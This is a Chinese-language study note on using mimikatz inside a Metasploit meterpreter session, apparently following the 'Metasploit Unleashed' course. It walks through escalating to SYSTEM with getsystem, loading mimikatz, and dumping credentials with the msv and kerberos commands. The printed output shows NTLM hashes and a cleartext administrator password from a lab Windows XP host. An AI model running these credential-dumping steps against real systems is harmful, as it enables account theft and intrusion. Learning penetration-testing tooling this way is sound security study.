meterprter shell 之 mimikatz

MSF学习笔记

参考连接：https://www.offensive-security.com/metasploit-unleashed/mimikatz/

一、Loading Mimikatz

1、查看当前系统权限

第一步，需要查看当前系统的权限，如果系统权限不是“管理员”或者“system”，则mimikatz模块无法加成成功。因为mimikata的模块在获取用户名密码时，需要最起码是超级管理员权限。

meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator
meterpreter > getsystem
   got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

2、使用sysinfo查询当前系统架构

mimikatz支持32bit 和 64bit Windows架构，在获取system系统权限后，我们需要使用sysinfo命令来查询下当前系统的架构，为选择加载正确的mimikatz做好铺垫。

meterpreter > sysinfo
Computer        : WINXP-E95CE571A1
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

3、 加载mimikatz 到内存中

因为这是一个32位的机器，我们可以继续加载Mimikatz模块到内存。

meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > help mimikatz
Mimikatz Commands
=================
    Command           Description
    -------           -----------
    kerberos          Attempt to retrieve kerberos creds
    livessp           Attempt to retrieve livessp creds
    mimikatz_command  Run a custom commannd
    msv               Attempt to retrieve msv creds (hashes)
    ssp               Attempt to retrieve ssp creds
    tspkg             Attempt to retrieve tspkg creds
    wdigest           Attempt to retrieve wdigest creds

当前版本信息查询

meterpreter > mimikatz_command -f version
mimikatz 1.0 x86 (RC) (Nov  7 2013 08:21:02)

4、从内存中读取Hashes值和Passwords密码

• build-in Metasploit

meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
0;56683  NTLM                                          n.s. (Credentials KO)
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO)

• Native Mimikatz

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     
0;56683  NTLM                                          
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   
0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword